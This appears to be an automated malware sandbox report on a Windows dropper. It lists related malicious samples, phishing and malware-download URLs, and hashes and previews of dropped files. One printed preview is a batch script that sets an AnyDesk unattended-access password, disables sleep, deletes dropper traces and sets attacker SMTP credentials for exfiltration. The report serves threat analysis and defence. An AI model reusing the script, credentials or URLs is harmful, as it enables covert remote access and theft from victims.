	a-r.m-5.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
ATGS-MMD-ASUS	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	Get hash	malicious	Phisher	Browse	34.149.120.191
	mail (4).eml	Get hash	malicious	Unknown	Browse	34.36.216.150
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	34.160.98.162
	miori.ppc.elf	Get hash	malicious	Unknown	Browse	33.74.79.66
	miori.x86.elf	Get hash	malicious	Unknown	Browse	48.150.19.151
	miori.sh4.elf	Get hash	malicious	Unknown	Browse	129.36.82.237
	miori.mpsl.elf	Get hash	malicious	Unknown	Browse	51.63.75.161
	miori.mips.elf	Get hash	malicious	Unknown	Browse	33.166.63.56
	miori.arm.elf	Get hash	malicious	Unknown	Browse	32.206.153.126
OVHFR	miori.x86.elf	Get hash	malicious	Unknown	Browse	151.80.169.31
	random.exe	Get hash	malicious	CStealer	Browse	51.91.7.6
	https://universidad-unidem.edu.mx/mah/i/amFjb2JAc3RlaW5ib3JuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	91.134.9.160
	pkt1.exe	Get hash	malicious	Unknown	Browse	151.80.239.86
	http://23.27.51.244/dr0p.exe	Get hash	malicious	Unknown	Browse	151.80.239.86
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Unknown	Browse	54.38.113.3
	https://147y3.trk.elasticemail.com/tracking/click?d=l6DX1ZxoYxoIu3Ps_nHCw2dpTGYsp50KhPgdcLAPZ98lDQqXluI2jbk2Kz6cWaRjWchw5Igbhe-BSjXhcIk5khB6_31XWJ3KxF070e3rxxM9hJmShBhAM7tP0jesqnjYkgFpEuivEIV6QQKt0-F18YQ1#out/0023m/435/85jy1/26p0/41/77	Get hash	malicious	Unknown	Browse	164.132.95.126
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Unknown	Browse	37.59.22.41
	1.exe	Get hash	malicious	Unknown	Browse	151.80.152.246
INPLATLABS-ASRU	d80327695eebee6940b7a55704b4c712e22c37f5bc95f2d5d6fc83e90f87bf55_dump.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Variant.MSILHeracles.172068.27755.23666.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	4FkYkTt9dE.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Trojan.DownLoaderNET.987.29728.6216.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Win32.RATX-gen.24946.23294.exe	Get hash	malicious	PureLog Stealer	Browse	185.125.50.121
	SecuriteInfo.com.Trojan.DownLoad4.16337.3540.9873.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Win32.CrypterX-gen.8664.12357.exe	Get hash	malicious	PureLog Stealer	Browse	185.125.50.121
	SecuriteInfo.com.Trojan.Inject5.3917.9683.3142.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	ka0UKl7202.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.125.50.121

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
c91bde19008eefabce276152ccd51457	https://www.axians-ewaste.com/faq/anleitung-installation-signatursoftware/	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	57.129.37.28 186.233.187.24
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	57.129.37.28 186.233.187.24
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24
	http://sub.nabprotect-livechat.com/	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	57.129.37.28 186.233.187.24

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	PDF document, version 1.7, 1 pages
Category:	dropped
Size (bytes):	25674
Entropy (8bit):	7.907670571017708
Encrypted:	false
SSDEEP:	384:9yG9CsIne7IVDIeIQzBgpt9Y4xhGyU3RSFVmQqnN8088XKNWMQiOM+k3T3lA:dslVlJy99x5U3EF8QqnKV8XqWXnMBJA
MD5:	E3ABD5BD617DFA2C7ED0F241BC08475D
SHA1:	9D1885FB570C84C419CBF0DAC0A9B770B5BF349B
SHA-256:	A6FF418F0DB461536CFF41E9C7E5DBA3EE3B405541519820DB8A52B6D818A01E
SHA-512:	18A3D578D0200E77B15574E5EE8BEEE74CDBC3BD4C1CA6AEBF29594FFBFC467DD8A20B3382FD6845A914AB0FFE387DCCAB3CF793DBCB62115B0C30E99773766D
Malicious:	false
Preview:	%PDF-1.7.%.....3 0 obj.<<./Type /XObject./Subtype /Image./Width 557./Height 685./BitsPerComponent 8./ColorSpace /DeviceRGB./Filter /FlateDecode./Length 5 0 R.>>.stream.x...<9..[.p..{..Br[.00b.HGJ4.r.X0..$V)..H........Ab.+4.@]J..nhA.b..;y...~_GFVef.....a;^;..'.p.O'.............,......n.;.... .TI.......6]@}....?...?.........)b$5.......}......O?.......h$...F>...b4E......d....'.\|....}...?...(.L4...G#...4R..W.)...._.7...........>8...$....n.......D..~...?...../..._..w.......?..O..5.....]....g2. ...@.+.O~...{.W......(Q.'j.%.!J.B..._.!..x...\|.;...........5}..?.....!.Iz..B.}..'.\|................F..>..........4..w.......?........+.W...F........?..~....4."..d.)C.~..G.}.........K_......v.........o...F\..9+C..._?..Cd...^G. _.....\|.[....~.......o...q......d....B. _...6..7.......?...~...2...Y.............................{.F..qA.........}._.._{.:............................D....n C..0#......2...3...... C....T..->2..0/Ww.7....x0.!d..`F.!d..`F.!d..`F.!d..`F....].S.V

C:\Intel\AnyDesk\AnyDesk.exe

Download File

Process:	C:\Intel\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5331456
Entropy (8bit):	7.99990183000247
Encrypted:	true
SSDEEP:	98304:K/9YNbhcFtvWK+XJURR51NX6hzzVwDmIoEWXF5fX+LWHF7uC+:KCNbhcF1WKW6whfOjGvAWHM
MD5:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
SHA1:	6AEDB74E3C6B886A2945323C8789B32891CA12A2
SHA-256:	7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
SHA-512:	8E009A0E4398EDBCDB7BEE17F37AE5885935E910348F0FC2FFE838BBFFB2B56BF6DE9BB7F34B08C04DD8ABB1C29C0313006697872D9EBF09950947B96758F16D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L....X.f..........".........0Q..T%..........@....@...........................v......Q...@...................................................................v.......%..............................................................................text...w(......................... ..`.itext...T%..@...........................rdata........%.....................@..@.data....&Q...%..$Q..2..............@....reloc........v......VQ.............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Intel\AnyDesk\bat.bat

Download File

Process:	C:\Intel\curl.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	modified
Size (bytes):	4477
Entropy (8bit):	5.593790126561728
Encrypted:	false
SSDEEP:	48:q1vXYC+yNyQPvvpvXevWvlMz/vSdvX2vSdvXQZvSdvXKvSdvXmvSdvXZvSdvXnvl:qfloQhNM9ziOjvOjo+OjNOjwxDejO
MD5:	2689DB9C78A508F99898CCE9A85F0632
SHA1:	A5FD7E67D46F4D2239C43101666DD0582367BD8D
SHA-256:	636D4F1E3DCF0332A815CE3F526A02DF3C4EF2890A74521D05D6050917596748
SHA-512:	57950BBBCFF7148F256028A6B9B19D2EC868612DE3431D5DC3BBBE61FAADDB8F61EAAA845491F97B73418E9C54DCCAA48D0B04BC32EEBEB5EEB16801C6323138
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Intel\AnyDesk\bat.bat, Author: Joe Security
Preview:	echo QWERTY1234566 \| AnyDesk.exe --set-password _unattended_access..%SYSTEMDRIVE%\Intel\dc.exe /D..powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0..powercfg -change -standby-timeout-ac 0..powercfg -change -hibernate-timeout-ac 0..powercfg -h off..powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1..powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1..schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00..Powershell.exe -executionpolicy remotesigned -File %SYSTEMDRIVE%\Intel\AnyDesk\wol.ps1..del /q %SYSTEMDRIVE%\Intel\curl.exe..del /q %SYSTEMDRIVE%\Intel\Trays.rar..del /q %SYSTEMDRIVE%\Intel\svchost.exe..set mail-out=out@dragonfires.ru..set pass-out=TyU005d94y..set smtp=mail.dragonfires.ru..set mail-in=in@dragonfires.ru..%SYSTEMDRIVE%\Intel\driver.exe a -r -hplim

C:\Intel\AnyDesk\bat.lnk

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 20 04:16:03 2024, mtime=Sun Oct 20 04:16:03 2024, atime=Sun Oct 20 04:16:03 2024, length=984, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	4.387954886555134
Encrypted:	false
SSDEEP:	24:8+6YWsBQCZzCUVlWUFCqAZ4eUCyhLJ8Dhg5i4Uzm:8qQczVwwh1Gg5g
MD5:	B8BE9EF45895F58DB0B6BD0A73485C78
SHA1:	C6DB4B279AEC29FD6793EFF8DE6572B51E8D95B2
SHA-256:	C51A9243F7FB0ADBD5F3AC2B2C89070A06EAED928228C8FB385D1FAE933D920A
SHA-512:	85284D43698F531E921F027E4A20DD156A6CACC6B32D8C84A94C9EA1D64269A2EEF3FD5140BD4CCFEB17F76D9958B2320F291DB611C0A5C023784E743C30F3DC
Malicious:	false
Preview:	L..................F.... ....3.(."..tZ.(.".....(."..........................+....P.O. .:i.....+00.../C:\...................P.1.....TY...Intel.<......TYT%TY......%....................S...I.n.t.e.l.....V.1.....TY...AnyDesk.@......TY.TY.....R,........................A.n.y.D.e.s.k.....V.2.....TY. .bat.bat.@......TY.TY.....T,.....................I..b.a.t...b.a.t.......M...............3.......L...........65......System.C:\Intel\AnyDesk\bat.bat......\.b.a.t...b.a.t...C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.`.......X.......vivobook.........................)........(..VY.................)........(..VY........U...1SPS.0..C..G.....sf"9...d............A.n.y.D.e.s.k. .(.C.:.\.I.n.t.e.l.).............1SPS0.%..G.....`...!................b.a.t...b.a.t............@....B.(.".......................=..................0.:.5.B.=.K.9. .D.0.9.;. .W.i.n.d.o.w.s............@......(."......a...1SPS.jc(=.......O...E................C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.b.a.t...b.a.t.........9...1SPS..mD..pH.H@..

C:\Intel\AnyDesk\wol.ps1

Download File

Process:	C:\Intel\curl.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	modified
Size (bytes):	670
Entropy (8bit):	5.478658113796959
Encrypted:	false
SSDEEP:	12:MGNvQnzxGN9feGNcjtesqhIYQGN8dYohAUs219217Sj2XnoKG/91WYP:HNv2zAN9BNies+3NPGAUsc9K22XoKIZ
MD5:	E956E6CF8F57E5FCDD02B7F5137E312E
SHA1:	0DA79D573FADEF08C9D07F20D4BF8445A7044A48
SHA-256:	01793E6F0D5241B33F07A3F9AD34E40E056A514C5D23E14DC491CEE60076DC5A
SHA-512:	D4CF36F08B4F1CE033FE092E226454AAFA90C7652DDBF4FD2F014BF1B5438DC3035640A7C1BBE8B97D0F1A8AD726AAC2986E4C6B246A49AB55C434709606835F
Malicious:	false
Preview:	$Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"..$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"..$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest..# ........ ........ ........$TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun..# ........... ...... . ............ .........Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force

C:\Intel\Trays.rar

Download File

Process:	C:\Intel\curl.exe
File Type:	RAR archive data, flags: EncryptedBlockHeader
Category:	modified
Size (bytes):	1759948
Entropy (8bit):	7.999902098352645
Encrypted:	true
SSDEEP:	49152:96t7FF7chGiS1KBSsPLFBLPGUATnGvvGkbouz6pn/aJ3:4NFVEPSwSsPH+TnGvukEF5/w3
MD5:	3B9BD9271887C92A994C582161700FC8
SHA1:	54E78156E451F901FD6BDB9B7C93FDFDC105361A
SHA-256:	5707A7D5A6946D50E861EEA4FB89BF255239D0391E4AE87A499558EE85367061
SHA-512:	FC9ECE7AD3499BD9CB5CEFB3006D3BAFD3ACB58EF226FE0CE7AC65B31ECD50294E6B791A3A1B6ECE833FAD0B821DC42AAE12A1321FD89252562D0CD186E139F4
Malicious:	false
Preview:	Rar!....s...........;..]......6,.,:..k.....Qr.6;h...BqS..^{M.......8B!...W...z...)3p....>......f..!.Z..j.)J.....(zw.>...`.e$p7.9.Y...C1`..a5..Y.+s.....8y....$l.C..vP.....Od.m?;F.....T.J.............%0.q.J2...b[`.RG.m..Et......%.hL.4L..>L....P.y ..64=.....Bq........;A...1..f.4....Hfn.....E}d.....bG ...L.k...v.N..'&k.3..euw...@.1t.......`}.V.P.0...+.&H}.A..Z`..2..j....$v..v.2N^....0...5?....t.@....A_....h..!....w..X3m:V........'3`.5...n.,....h.//..~g%.\.'x?-/..[.............b....O.Y.i....B.. ...e.)A2..D......9.98...e......._.....E.....DT..K>n.F/....o....5..,.... ..b.j.n..{D...Bd.2.u....s..[Jj8."E.2`..#._.3O..H^./...Fj-mk.......P.Z9.5.{..TJ..........O@M.&...<W\|...<....h.-..4C..z4)...u...&..9...v...!t.7.......,..X._<"bx.Nf.C~.....v...R8N..Ha8$9l....+................vL.*&..=K.L ..G..V..........Yj>?U.\...e .\e.<h.!k....<......... .(.c.]Z...+.a..}.h.x.\|G\..Rf...........Un.>n.E.F..6h.E..O/;T.@n.RS#O.E.......d.......s.....~./...A6....

C:\Intel\Trays\4t-min.chm

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	221585
Entropy (8bit):	7.950121298763784
Encrypted:	false
SSDEEP:	6144:afX5wlsLWmmJ5c9xKwN+kgRrCgvqZtYFkgS/:R2Wm/9xKTfru
MD5:	B271C0CC26ADA59F204E567DAA150769
SHA1:	744CF9F7F6FA12748529923C0E8A221F7F9CDC3D
SHA-256:	2A5E806589E54C290393BB92EBBC1649B979A384A0CC0C52A229F62F394E29FE
SHA-512:	D240AD89B3413C7B090B7CC12110D9C44B8BABBC7140C3AD43318CF56CB1BA6777BE36318028562E8C25BC6380AC3A9404815A1F0CDD28E8BCD47760413C6237
Malicious:	false
Preview:	ITSF....`........\|........\|.{.......".....\|.{......."..`...............x.......T........................a..............ITSP....T...........................................j..].!......."..T...............PMGLw................/..../#IDXHDR...9.../#ITBITS..../#IVB.....<./#STRINGS.....E./#SYSTEM....A./#TOPICS...9.../#URLSTR...Y.3./#URLTBL...9. ./#WINDOWS...3.L./$FIftiMain...[..^./$OBJINST.....?./$WWAssociativeLinks/..../$WWAssociativeLinks/BTree...e.L./$WWAssociativeLinks/Data...1.1./$WWAssociativeLinks/Map...b../$WWAssociativeLinks/Property...\| ./$WWKeywordLinks/..../$WWKeywordLinks/BTree...;.L./$WWKeywordLinks/Data......./$WWKeywordLinks/Map....*./$WWKeywordLinks/Property...E ./4t-min.hhc...N.8./4t-min.hhk......../4t-tray-menu.png.....G./4t_niagara_softw.html...B."./default.css...I.j./favoritesautomatically.html...d.e./favoritesgeneral.html...I.../favoriteshiding.html...Z.C./favoriteskeyboard.html.....(./favoriteslaunching.html...E.../favoritesoverview.html...R.S./favoritestitlebar.html

C:\Intel\Trays\4t-min64.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	275968
Entropy (8bit):	5.377292337480563
Encrypted:	false
SSDEEP:	3072:GFhscoM/x/zeyFb2GP3zYkkisbL57SUp5Er/h36gMqE1Kwx57fjHGiRObXeHtOp8:Qhxz7Fbf3zYkkisbL9WDc4AyOHWy
MD5:	7BC3AEEDC18717D796F1C7FF8DBF0C17
SHA1:	94F5AB71D7EBDCF339C33820D1AAD0DB5B6998BF
SHA-256:	D7AF4E205E963B0C17330B7559CD7AA7BFABEE7E0F5F8A3F815CC2BB5F659201
SHA-512:	F6A2E99DE788C6869DC7AA6CB24A4D8BD72F1D9145CC2194CAAD9BF2242A88A69E73FC05F2D826956FE3E553B368C33295E16BF4CCA3723A6491C51D8AAC196D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....0W........../......f....................@.............................................................................................p.......................................................................................................................text....d.......f.................. .P`.data...............j..............@.P..bss....`,...@........................P..idata.......p......."..............@.0..rsrc................2..............@.@.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Intel\Trays\4t-min_pad.xml

Download File

Process:	C:\Intel\driver.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (415), with CRLF line terminators
Category:	dropped
Size (bytes):	14387
Entropy (8bit):	5.329785287143663
Encrypted:	false
SSDEEP:	192:mm9lrTU1lo45jRukIB7Bq0KoWxDgJOPFK2NDO2ffo03+HZRiZAD0dh+fnh4RFKCc:juwlkoWxDgEFKUOMgmmsbm
MD5:	930B9A47D3982A556750F4993EBB7490
SHA1:	AAAEACB33638DE4C0A07CBD711272A3A91DC2F8C
SHA-256:	B20D63355A0427FC4E7CE80B10CED6B05FF1BCF6221E3F6D92348F15AFB7C02A
SHA-512:	4CFF22DDFFFCAFED36FF92A410466E88914F8F22ED782D927E01ED336661432CF602E5D4D14DA1BC2DFA706490E9AD631F62785D21E05CD5693D1B11787A7BA7
Malicious:	false
Preview:	<?xml version='1.0'?>..<XML_DIZ_INFO>...<MASTER_PAD_VERSION_INFO>....<MASTER_PAD_VERSION>3.11</MASTER_PAD_VERSION>....<MASTER_PAD_EDITOR>PADGen 3.1.1.51 http://www.padgen.org</MASTER_PAD_EDITOR>....<MASTER_PAD_INFO>Portable Application Description, or PAD for short, is a data set that is used by shareware authors to disseminate information to anyone interested in their software products. To find out more go to http://pad.asp-software.org</MASTER_PAD_INFO>...</MASTER_PAD_VERSION_INFO>...<Company_Info>....<Company_Name>4t Niagara Software</Company_Name>....<Address_1/>....<Address_2/>....<City_Town/>....<State_Province/>....<Zip_Postal_Code/>....<Country/>....<Company_WebSite_URL>http://www.4t-niagara.com</Company_WebSite_URL>....<Contact_Info>.....<Author_First_Name>Support Team</Author_First_Name>.....<Author_Last_Name>4t Niagara Software</Author_Last_Name>.....<Author_Email>support@4t-niagara.com</Author_Email>.....<Contact_First_Name>Support Team</Contact_First_Name>.....<Contact_Las

C:\Intel\Trays\7z.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	274944
Entropy (8bit):	6.424155263952795
Encrypted:	false
SSDEEP:	6144:LpbcrmVPgtC9M5OuGh9Srn152vIhsN9E61Nu:LpQMgtC9mrnr2vIhsk67
MD5:	3CD9F4853B93DB6331C9F34BC5671407
SHA1:	7D57E6F33DA5D885198A1AD88355D4F48979D1EB
SHA-256:	9532AC334F37954C8FA781489B52B113CDE746E8271D75516F419A3F13BAAD6B
SHA-512:	715DFCA8619E2C47E26223ADC0239B3F04C86977E27874693B8FC3A1600976D523458345D680C04754191EFDCD8CC412A7FF292A0F455C1D34EC75453CD48589
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*o;+n.Uxn.Uxn.Ux..[xw.UxX(_xP.Ux...xo.Uxn.Tx..Ux...xi.UxX(^x..Ux.x.xy.Ux.x.xl.Ux..Sxo.Ux..Qxo.UxRichn.Ux........PE..L...,..K...........!.....F...:......5........`..............................................................................$...P....`...........................#...................................................`..d............................text....D.......F.................. ..`.rdata...Y...`...Z...J..............@..@.data............>..................@....sxdata......P......................@....rsrc........`......................@..@.reloc...5.......6..................@..B................................................................................................................................................................................................................................................................................

C:\Intel\Trays\File_id.diz

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.6472256555643465
Encrypted:	false
SSDEEP:	12:M2Bx1LEnOwI2NJ2H75eRK/w/BPgq1UxlTtcWZkFnvN7J2a0xhRR+NkIH:9COFF1eI/Cb1UxpmFnqxHc5
MD5:	EE15025385638295CD8953EA45D876E0
SHA1:	940763F132EA201C6526AA298AF5FC910D542691
SHA-256:	5119725BA47E7DBF5CC8DD397D017391E2B135D9943CE380377F2A3D57458AF7
SHA-512:	3146F70ACD756FA565D57A33AC698DAF3D7DBE6DF1F5997D1D371325D2E662A0F718C21626FA3BD8A8A23FF03FC011B4D61F202EA7EA87AE27C6907BE285458A
Malicious:	false
Preview:	..4t Tray Minimizer Pro 6.07..===============================....Minimize Outlook, IE, Firefox and any other applications to the system tray!....4t Tray Minimizer lets you running applications minimized as System..Tray icons, which helps in adjusting free space on your taskbar. To..minimize any application to the task bar, simply left click the..minimize button as usual or press keyboard shortcut. You can..configure 4t Tray Minimizer to automatically hide/restore specific ..applications by pressing specific keyboard shortcuts.......Copyright (C) 2001-2017, 4t Niagara Software....=============================================..http://www.4t-niagara.com..mailto:support@4t-niagara.com..=============================================....

C:\Intel\Trays\ShellEh6055.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	56832
Entropy (8bit):	6.298588809941958
Encrypted:	false
SSDEEP:	768:9258dMWwcuT9pU9TJ95v5xosGx/2H3llWQsmb8J/1Xc58JIyj4NtZ+QWdR8x:cwvHBxKKJ3ALMII7L+QWd2x
MD5:	0EB9F7FB524730F1B65CD926A55CBD70
SHA1:	4B6F96B4BC06303538F83AFA060E1AA0BDB3F7A9
SHA-256:	7061169B0C1EB3F0FB0EC9A2F82F9FEC8D813770EDDFA9DA059830619B431292
SHA-512:	515D665C30E5545D303D8A78B914CA34F126B34209314D59A16F37D41EC84BBC4909781F9A53E4548399AD89B0CC5CB4E28B6CE5536B5A6ECAA0F71F95171E83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................6...... .............@..........................0.......................................... ...........................................................................................................................CODE....T........................... ..`DATA................................@...BSS......................................idata..............................@....edata.. ...........................@..P.reloc..............................@..P.rsrc...............................@..P.............0......................@..P................................................................................................................................................................................

C:\Intel\Trays\ShellEh6055x64.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	117304
Entropy (8bit):	5.610558322226675
Encrypted:	false
SSDEEP:	3072:jz88+cEaxHiFnUVl7BhPTrJ1gQXbL8caj+GdhfMkHqlOqugdo:j483BtfQQXbL8caj+gkMngdo
MD5:	395290BD5EB8BE9685394305CACA3ADF
SHA1:	85B9EA9BADE9658A949C1B95467A19A6E0968BD3
SHA-256:	9D91AAC2EC8A1526732A6D4AF9D5A83C5FCFB3B978A95678F486D71BDF26AD12
SHA-512:	2982B9EC2CA7FAA5263D9881B0FA36E1D898441B0EB96FB04239FED782044D6D03419989C0FB6117CE9C4066945DD9C6448B9A1637E228C7E3A440FDCAB8909A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....P...L...'...........................................@..........................................................(.................................... ..8....................................................................................text....P.......P.................. .P`.data....L...p...L...V..............@.P..bss.....'............................P..idata..............................@.0..edata..(.......(...................@.@@.rsrc...............................@.@@.reloc..8.... ..8...................@.P@........................................................................................................................................................................................................................................................................................................................................

C:\Intel\Trays\Tray.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	82432
Entropy (8bit):	6.288736444324739
Encrypted:	false
SSDEEP:	1536:50ZBlNKeoNdfYh54IlTayP6pP5sR8v1QI4zsWipcdwNL13v3gFq:5vsaIlT/Cpj1V4E4wNx3qq
MD5:	D7AE1BE3BDAEE1374B0A04E40B34CA51
SHA1:	34A4A45E9F5C86C00977565E1766F075DC2C8875
SHA-256:	5F45989E22E596BD8B5476E559ABE6E216CE446EAF79BB874C894DC938163240
SHA-512:	2E53A15C65F987E6CFEACB871A5A58D77B20D8263E92BACC6FCF5BA7D902283B2521541066CE42844B9C133AF3903205804C14433EA808F608C6731F7F85E3D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............[..[..[m$.[..[m$.[...[m$.[...[...Z..[...Z..[...Z..[.G"[..[..[...[...Z..[...Z..[...[..[...Z..[Rich..[........................PE..L......W...........!................J(....................................................@..........................$.......%..x....`..h....................p..L.......T...............................@............................................text............................... ..`.rdata...].......^..................@..@.data...P....0....... ..............@....shared.Q....@.......(..............@....gfids.......P.......*..............@..@.rsrc...h....`.......,..............@..@.reloc..L....p.......0..............@..B........................................................................................................................................................................................................

C:\Intel\Trays\Trays.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2019840
Entropy (8bit):	6.439982548644594
Encrypted:	false
SSDEEP:	49152:hpIEX9g68K7LjloCbCqommOGV7t398lBvX:hh8ULjloAhm3V7wX
MD5:	90D208B856DEA18596D57FFB1DD3A867
SHA1:	7EE41EEADF39A001B6149738B874D998911055EF
SHA-256:	344DE5B82B337E49C0F30748E0BC74AFC1EBCF90DF4BD0EED5298B5CD57282D9
SHA-512:	ADECDD534F3A7EA3B409186FC60385EFC7C04BD12EDDD8EE6D50E9FF87AFC79A84B94640B325938E8920762E30C059B92117C0D12B5C1F4DAD8DEC60E61438C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................0.............@...........................!.....Oj...........@...........................`...7...P..............................................................................................................CODE....0........................... ..`DATA.....R.......T..................@...BSS......X...............................idata...7...`...8..................@....tls....(................................rdata..............................@..P.reloc..T...........................@..P.rsrc........P......................@..P..............!......\ .............@..P........................................................................................................................................

C:\Intel\Trays\Trays.lnk

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sun Oct 6 11:03:06 2024, mtime=Sun Oct 6 11:04:28 2024, atime=Tue Aug 8 16:22:26 2017, length=2019840, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	4.372618772871116
Encrypted:	false
SSDEEP:	12:8lWHyM0sXXHg2XIGNrDHjestc/YEyGGVagVgHhfJILPri82ctejOqQAVQE6Um5:8Y9HHgwIEjlajNGPuBfJIiYteBT5zm
MD5:	919F64751F2164821A33CF02079E446D
SHA1:	A13BA175D24AE2AECF78FEFD70D96B8B0C3A5537
